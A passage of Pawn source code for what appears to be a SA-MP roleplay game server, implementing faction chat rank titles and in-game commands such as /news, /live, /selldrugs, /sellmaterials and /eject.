						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Trainee %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else { format(string, sizeof(string), "** (( Trainee %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
							SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
					else if(member==12)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Don Dangerous Tiger %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Consigliere %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Vicario %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Caporegime %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Sgarrista %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Soldato %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** (( Piccioto %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else { format(string, sizeof(string), "** (( Piccioto %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
					else if(member==13)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Don Legendary Men %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Consigliere %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Vicario %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Caporegime %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Sgarrista %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Soldato %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** (( Piccioto %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else { format(string, sizeof(string), "** (( Piccioto %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
					else if(member==14)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Don The Fast N Furious %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Consigliere %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Vicario %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Caporegime %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Sgarrista %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Soldato %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** (( Piccioto %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else { format(string, sizeof(string), "** (( Piccioto %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
					else if(member==15)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Don Storm Men %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Consigliere %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Vicario %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Caporegime %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Sgarrista %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Soldato %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** (( Piccioto %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else { format(string, sizeof(string), "** (( Piccioto %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
					else if(member==16)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Leader %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Co-Leader %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Manager %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Senior Mechanic %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Mechanic %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Trainee %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else { format(string, sizeof(string), "** (( Trainee %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
						else if(member==17)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Hackers Leader %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Private Hacker %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Old Hacker %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Perfect Hacker %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Hacker %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Trial Hacker %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else { format(string, sizeof(string), "** (( New Hacker %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
						else if(member==19)
					{
						if(PlayerInfo[playerid][pRank] == 7) { format(string, sizeof(string), "** (( Don Top Boys %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "** (( Consigliere %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "** (( Vicario %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "** (( Caporegime %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "** (( Sgarrista %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "** (( Soldato %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "** (( Piccioto %s: {FFFFFF}%s {00ECEC}))  **", sendername, result); }
						else { format(string, sizeof(string), "** (( Level 1 %s: {FFFFFF}%s {00ECEC})) **", sendername, result); }
						SendFamilyMessage(PlayerInfo[playerid][pMember], COLOR_FChat, string);
					}
					else if(leader==1)
					{
						return 1;
					}
					else if(leader==2)
					{
						return 1;
					}
					else if(leader==3)
					{
						return 1;
					}
					else if(leader==4)
					{
						return 1;
					}
					/*
					else if(leader==4)
					{
						format(string, sizeof(string), "** (( Chief Fireman/Paramedic %s:{FFFFFF} %s {00ECEC})) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					*/
					else if(leader==5)
					{
						format(string, sizeof(string), "** (( Silence Mafia Leader %s: {FFFFFF}%s {00ECEC})) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					else if(leader==6)
					{
						format(string, sizeof(string), "** (( The Killers Family Leader %s: {FFFFFF}%s {00ECEC})) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					else if(leader==7)
					{
						return 1;
					}
					else if(leader==8)
					{
						format(string, sizeof(string), "** (( Hitman Agency Leader %s:{FFFFFF} %s {00ECEC})) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					else if(leader==9)
					{
						format(string, sizeof(string), "** (( News Reporter Leader %s:{FFFFFF} %s {00ECEC})) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					else if(leader==10)
					{
						format(string, sizeof(string), "** (( Taxi Company Leader %s:{FFFFFF} %s {00ECEC})) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					else if(leader==11)
					{
						format(string, sizeof(string), "** (( School Leader %s:{FFFFFF} %s {00ECEC})) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					else if(leader==14)
					{
						format(string, sizeof(string), "** (( Fast N Furious Family Leader %s:{FFFFFF} %s {00ECEC})) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					else if(leader==15)
					{
						format(string, sizeof(string), "** (( Storm Men Family Leader %s:{FFFFFF} %s {00ECEC})) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					else if(leader==12)
					{
						format(string, sizeof(string), "** (( Dangerous Tigers Family Leader %s:{FFFFFF} %s {00ECEC})) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					else if(leader==13)
					{
						format(string, sizeof(string), "** (( Legendary Men Family Leader %s:{FFFFFF} %s {00ECEC})) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					else if(leader==16)
					{
						format(string, sizeof(string), "** (( Tow Truck Company Leader %s:{FFFFFF} %s {00ECEC})) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					else if(leader==17)
					{
						format(string, sizeof(string), "** (( Hackers Leader %s:{FFFFFF} %s{00ECEC} )) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					else if(leader==19)
					{
						format(string, sizeof(string), "** (( Leader %s:{FFFFFF} %s{00ECEC} )) **", sendername, result);
						SendFamilyMessage(PlayerInfo[playerid][pLeader], COLOR_FChat, string);
					}
					//printf("%s", string);
					if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				for(new i; i < sizeof(SusWords); i++)
				{
					if(PINFO[playerid][pAdmin] < 12)
					{
					         if(strcmp(result, LastMessageWarned[playerid], false))
         {
					if(strfind(result, SusWords[i], true) != -1)
					{
						new name[25];
						GetPlayerName(playerid, name, sizeof(name));
						format(string, sizeof(string), "[AD-{00FF00}/F{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid, result);
						SendAdminMMessage(COLOR_SINAGHERMEZ,string);
						strcpy(LastMessageWarned[playerid],result,149);
						break;
						}
					}
					 }
				}
					return 1;
				}
				else
				{
					SendMessage(playerid, COLOR_GRAD2, "   you are not part of a Family!");
					return 1;
				}
			}//not connected
			return 1;
		}


	//--------------------------------------
	// News e timer dar ta 1 Deyghe by Sina
			if(strcmp(cmd, "/news", true) == 0)
		{
		if(!ThereIsAnyActiveAdmin()) return SCM(playerid, COLOR_YELLOW2, "Error: There isn't any active admin.");
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pMember] == 9 || PlayerInfo[playerid][pLeader] == 9)
				{
					new newcar = GetPlayerVehicleID(playerid);
					if(PlayerInfo[playerid][pMuteTime] >= 1)
					{
						SendMessage(playerid, TEAM_CYAN_COLOR, " You cannot speak, you have been silenced !");
						return 1;
					}
					if(newstimer[playerid] == 1) return SendMessage(playerid, COLOR_CRS3, "You have already sent a news please wait 1 minute and try again.");
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					  /*
					  for(new i = 0; i < MAX_PLAYERS; i++)
				  {
					new acount = 0;
				if(PINFO[i][pAdmin] >= 1)
				{
				acount++;
				}
				if(acount == 0)
				{
				SCM(playerid, COLOR_YELLOW2, "Error: There isn't any active admin to place a news.");
				return 1;
				}
					 }
					 */

					 

					if(IsANewsCar(newcar))
					{
						GetPlayerName(playerid, sendername, sizeof(sendername));
						new length = strlen(cmdtext);
						while ((idx < length) && (cmdtext[idx] <= ' '))
						{
							idx++;
						}
						new offset = idx;
		 new result[144];
						while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
						{
							result[idx - offset] = cmdtext[idx];
							idx++;
						}
						result[idx - offset] = EOS;
						if(!strlen(result))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /news <Text>");
							return 1;
						}
						if(PINFO[playerid][pAdmin]<12)CensorText(result);
						format(string, sizeof(string), "NR %s: %s", sendername, result);
						OOCNews(COLOR_SINARANG,string);
						newstimer[playerid] = 1;
						MyNewsTimer[playerid] = SetTimerEx("newstime", 60000, 0, "d", playerid);
				        PlayerInfo[playerid][pFAct1] += 1;
				        SaveKonVal(playerid, "pFAct1", PINFO[playerid][pFAct1]);
						if(PINFO[playerid][pNewsSkill])
						{
							PlayerInfo[playerid][pNewsSkill] ++;
							SaveKonVal(playerid, "pNewsSkill", PINFO[playerid][pNewsSkill]);
						}
						if(PlayerInfo[playerid][pNewsSkill] == 50)
						{ SendMessage(playerid, COLOR_YELLOW, "* Your News Reporter Skill is now Level 2, soon you are able to Fly the News Chopper and talk Live."); }
						else if(PlayerInfo[playerid][pNewsSkill] == 100)
						{ SendMessage(playerid, COLOR_YELLOW, "* Your News Reporter Skill is now Level 3, soon you are able to Fly the News Chopper and talk Live."); }
						else if(PlayerInfo[playerid][pNewsSkill] == 200)
						{ SendMessage(playerid, COLOR_YELLOW, "* Your News Reporter Skill is now Level 4, you can fly the News Chopper now."); }
						else if(PlayerInfo[playerid][pNewsSkill] == 400)
						{ SendMessage(playerid, COLOR_YELLOW, "* Your News Reporter Skill is now Level 5, you can now talk Live with any person you want."); }
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, " You are not in the News Van or Chopper !");
						return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, " You are not a News Reporter !");
				}
			}//not connected
			return 1;
		}
		if(strcmp(cmd, "/live", true) == 0)
		{
		if(!ThereIsAnyActiveAdmin()) return SCM(playerid, COLOR_YELLOW2, "Error: There isn't any active admin.");
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pMember] == 9 || PlayerInfo[playerid][pLeader] == 9)
				{
					if(TalkingLive[playerid] != 255)
					{
						SendMessage(playerid, COLOR_WHITE, "* Live Conversation ended.");
						SendMessage(TalkingLive[playerid], COLOR_WHITE, "* Live Conversation ended.");
						TogglePlayerControllable(playerid, 1);
						TogglePlayerControllable(TalkingLive[playerid], 1);
						TalkingLive[TalkingLive[playerid]] = 255;
						TalkingLive[playerid] = 255;
						return 1;
					}
					if(PlayerInfo[playerid][pNewsSkill] < 50)
					{
						SendMessage(playerid, COLOR_GREY, "   Your News Reporter Skill is to low to talk Live with people !");
						return 1;
					}
					/*
					for(new i = 0; i < MAX_PLAYERS; i++)
				  {
					new acount = 0;
				if(PINFO[i][pAdmin] >= 1)
				{
				acount++;
				}
				if(acount == 0)
				{
				SCM(playerid, COLOR_YELLOW2, "Error: There isn't any active admin to start a live conversation.");
				return 1;
				}
					 }
					 */
					 
					 

					 
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Live <Playerid/PartOfName>");
						return 1;
					}
					//giveplayerid = strval(tmp);
					giveplayerid = ReturnUser6(tmp);
					if (IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
							if (ProxDetectorS(5.0, playerid, giveplayerid))
							{
								if(giveplayerid == playerid) { SendMessage(playerid, COLOR_GREY, "You cannot Talk Live with yourself!"); return 1; }
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								GetPlayerName(playerid, sendername, sizeof(sendername));
								format(string, sizeof(string), "* You offered %s to have a Live Conversation.", giveplayer);
								SendMessage(playerid, COLOR_WHITE, string);
								format(string, sizeof(string), "* %s offered you to have a Live Conversation, type (/[acc]ept live) to accept.", sendername);
								SendMessage(giveplayerid, COLOR_WHITE, string);
								LiveOffer[giveplayerid] = playerid;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "   You are too far away from that player !");
								return 1;
							}
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "   Invalid ID/Name !");
						return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   You are not a News Reporter !");
				}
			}//not connected
			return 1;
		}
		if(strcmp(cmd, "/selldrugs", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pJob] != 4)
				{
					SendMessage(playerid, COLOR_GREY, "   You are not a Drugs Dealer!");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Selldrugs <Playerid/PartOfName> <Amount> <Price>");
					return 1;
				}
				new playa;
				new money;
				new needed;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) { SendMessage(playerid, COL_SYN, "Syntax: /Selldrugs <Playerid/PartOfName> <Amount> <Price>"); return 1; }
				needed = strval(tmp);
				if(needed < 1 || needed > 99) { SendMessage(playerid, COLOR_GREY, "Grams not lower then 1, or above 99!"); return 1; }
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) { SendMessage(playerid, COL_SYN, "Syntax: /Selldrugs <Playerid/PartOfName> <Amount> <Price>"); return 1; }
				money = strval(tmp);
				if(money < 1 || money > 1000) { SendMessage(playerid, COLOR_GREY, "Price not lower then $1, or above $1,000!"); return 1; }
				if(needed > PlayerInfo[playerid][pDrugs]) { SendMessage(playerid, COLOR_GREY, "You dont have that much Drugs with you !"); return 1; }
				if(IsPlayerConnected(playa))
				{
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					if(playa != INVALID_PLAYER_ID)
					{
						if (ProxDetectorS(8.0, playerid, playa))
						{
							if(playa == playerid)
							{
								SendMessage(playerid, COLOR_GREY, "Cant sell to yourself!");
								return 1;
							}
							if(DrugOffer[playa] == playerid) { SCM(playerid,COLOR_BLUE, " You already offered to this player!!"); return 1; }
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "You offered %s to buy %d gram of drugs for $%d.", giveplayer, needed, money);
							SendMessage(playerid, COLOR_LIGHTBLUE, string);
							format(string, sizeof(string), "Drug Dealer %s wants to sell you %d gram for $%d, (type /[acc]ept drugs %i) to buy.", sendername, needed, money, playerid);
							SendMessage(playa, COLOR_LIGHTBLUE, string);
							DrugOffer[playa] = playerid;
							DrugPrice[playa] = money;
							DrugGram[playa] = needed;
							DrugSell[playerid] = playa;
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is not near you !");
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "That player is offline.");
				}
			}
			return 1;
		}
		
		
		
		
		
		
		if(strcmp(cmd, "/sellboxes", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pBox] < 1)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't any boxes.");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /sellboxes <Playerid/PartOfName> <Amount> <Price>");
					return 1;
				}
				new playa;
				new money;
				new needed;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) { SendMessage(playerid, COL_SYN, "Syntax: /sellboxes <Playerid/PartOfName> <Amount> <Price>"); return 1; }
				needed = strval(tmp);
				if(needed < 1) { SendMessage(playerid, COLOR_YELLOW2, "Error: Invalid amount."); return 1; }
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) { SendMessage(playerid, COL_SYN, "Syntax: /sellboxes <Playerid/PartOfName> <Amount> <Price>"); return 1; }
				money = strval(tmp);
				if(money < 1) { SendMessage(playerid, COLOR_YELLOW2, "Error: Price can't be lower than $1."); return 1; }
				if(needed > PlayerInfo[playerid][pBox]) { SendMessage(playerid, COLOR_YELLOW2, "Error: You don't have that much boxes."); return 1; }
				if(IsPlayerConnected(playa))
				{
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					if(playa != INVALID_PLAYER_ID)
					{
						if (ProxDetectorS(8.0, playerid, playa))
						{
							if(playa == playerid)
							{
								SendMessage(playerid, COLOR_YELLOW2, "Error: You can't sell your boxes to yourself.");
								return 1;
							}
							if(BoxxOffer[playa] == playerid) { SCM(playerid,COLOR_BLUE, " You already offered to this player."); return 1; }
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "You offered %s to buy %d boxes for $%d", giveplayer, needed, money);
							SendMessage(playerid, COLOR_LIGHTBLUE, string);
							format(string, sizeof(string), "Player %s wants to sell you %d boxes for $%d, (type /[acc]ept boxes %i) to buy.", sendername, needed, money, playerid);
							SendMessage(playa, COLOR_LIGHTBLUE, string);
							BoxxOffer[playa] = playerid;
							BoxxPrice[playa] = money;
							BoxxGram[playa] = needed;
							BoxxSell[playerid] = playa;
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is not near you !");
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "That player is offline.");
				}
			}
			return 1;
		}
		
		
		
		if(strcmp(cmd, "/sellmaterials", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pJob] != 9)
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "You are not an Arms Dealer.");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Sellmaterials <Playerid/PartOfName> <Amount> <Price>");
					return 1;
				}
				new playa;
				new money;
				new needed;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) { SendMessage(playerid, COL_SYN, "Syntax: /Sellmaterials <Playerid/PartOfName> <Amount> <Price>"); return 1; }
				needed = strval(tmp);
				if(needed < 1) { SendMessage(playerid, COLOR_GREY, "Invalid amount!"); return 1; }
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) { SendMessage(playerid, COL_SYN, "Syntax: /Sellmaterials <Playerid/PartOfName> <Amount> <Price>"); return 1; }
				money = strval(tmp);
				if(money < 1) { SendMessage(playerid, COLOR_GREY, "Price can't be lower than $1!"); return 1; }
				if(needed > PlayerInfo[playerid][pMats]) { SendMessage(playerid, COLOR_GREY, "You dont have that much Materials with you !"); return 1; }
				if(IsPlayerConnected(playa))
				{
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					if(playa != INVALID_PLAYER_ID)
					{
						if (ProxDetectorS(8.0, playerid, playa))
						{
							if(playa == playerid)
							{
								SendMessage(playerid, COLOR_GREY, "Can't sell to yourself!");
								return 1;
							}
							if(MatxOffer[playa] == playerid) { SCM(playerid,COLOR_BLUE, " You already offered to this player!!"); return 1; }
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "You offered %s to buy %d materials for $%d.", giveplayer, needed, money);
							SendMessage(playerid, COLOR_LIGHTBLUE, string);
							format(string, sizeof(string), "Arms Dealer %s wants to sell you %d materials for $%d, (type /[acc]ept materials %i) to buy.", sendername, needed, money, playerid);
							SendMessage(playa, COLOR_LIGHTBLUE, string);
							MatxOffer[playa] = playerid;
							MatxPrice[playa] = money;
							MatxGram[playa] = needed;
							MatxSell[playerid] = playa;
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is not near you !");
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "That player is offline.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/usedrugs", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
							new Float:health;
				if(PlayerInfo[playerid][pDrugs] > 1)
				{
					if(UseDrugp[playerid] == 1) return SCM(playerid, COLOR_GREY, "Error: please wait for 5 seconds to use more drugs.");
					GetPlayerHealth(playerid,health);
					FixKoon(playerid);
					SendMessage(playerid, COLOR_GREY, "2 grams of drugs used.");
					UseDrugp[playerid] = 1;
					PlayerInfo[playerid][pDrugs] -= 2;
					SaveKonVal(playerid, "pDrugs", PINFO[playerid][pDrugs]);
					SetPlayerDrunkLevel(playerid, 2100);
					format(string, sizeof(string), "%s Used some drugs.", PINFO[playerid][pName]);
					ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					SetTimerEx("UseDrug", 5000, 0, "d", playerid);
				 }
				else
				{
					SendMessage(playerid, COLOR_GREY, "You dont have any Drug Grams left !");
				}
			}//not connected
			return 1;
		}
		if(strcmp(cmd, "/eject", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new State;
				if(IsPlayerInAnyVehicle(playerid))
				{
					State=GetPlayerState(playerid);
					if(State!=PLAYER_STATE_DRIVER)
					{
						SendMessage(playerid,COLOR_GREY,"   You can only eject people as the driver !");
						return 1;
					}
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Eject <Playerid/PartOfName>");
						return 1;
					}
					new playa;
					playa = ReturnUser6(tmp);
					new test;
					test = GetPlayerVehicleID(playerid);
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
							if(playa == playerid) { SendMessage(playerid, COLOR_GREY, "You cannot Eject yourself!"); return 1; }
							if(IsPlayerInVehicle(playa,test))
							{
								new PName[MAX_PLAYER_NAME];
								GetPlayerName(playerid,PName,sizeof(PName));
								GetPlayerName(playa, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "* You have thrown %s out of the car!", giveplayer);
								SendMessage(playerid, COLOR_WHITE, string);
								format(string, sizeof(string), "* You have been thrown out the car by %s !", PName);
								SendMessage(playa, COLOR_WHITE, string);
								RemovePlayerFromVehicle(playa);
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "   That player is not in your Car !");
								return 1;
							}
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, " Invalid ID/Name!");
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   You need to be in a Vehicle to use this !");
				}
			}
			return 1;
		}

		if(strcmp(cmd, "/wanteds", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{
				if(OnDuty[playerid] != 1)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty.");
					return 1;
				}
					new x;
					SendMessage(playerid, COLOR_GREEN, "|_________[Wanted List]_______|");
					for(new i=0; i < Akharish; i++) {
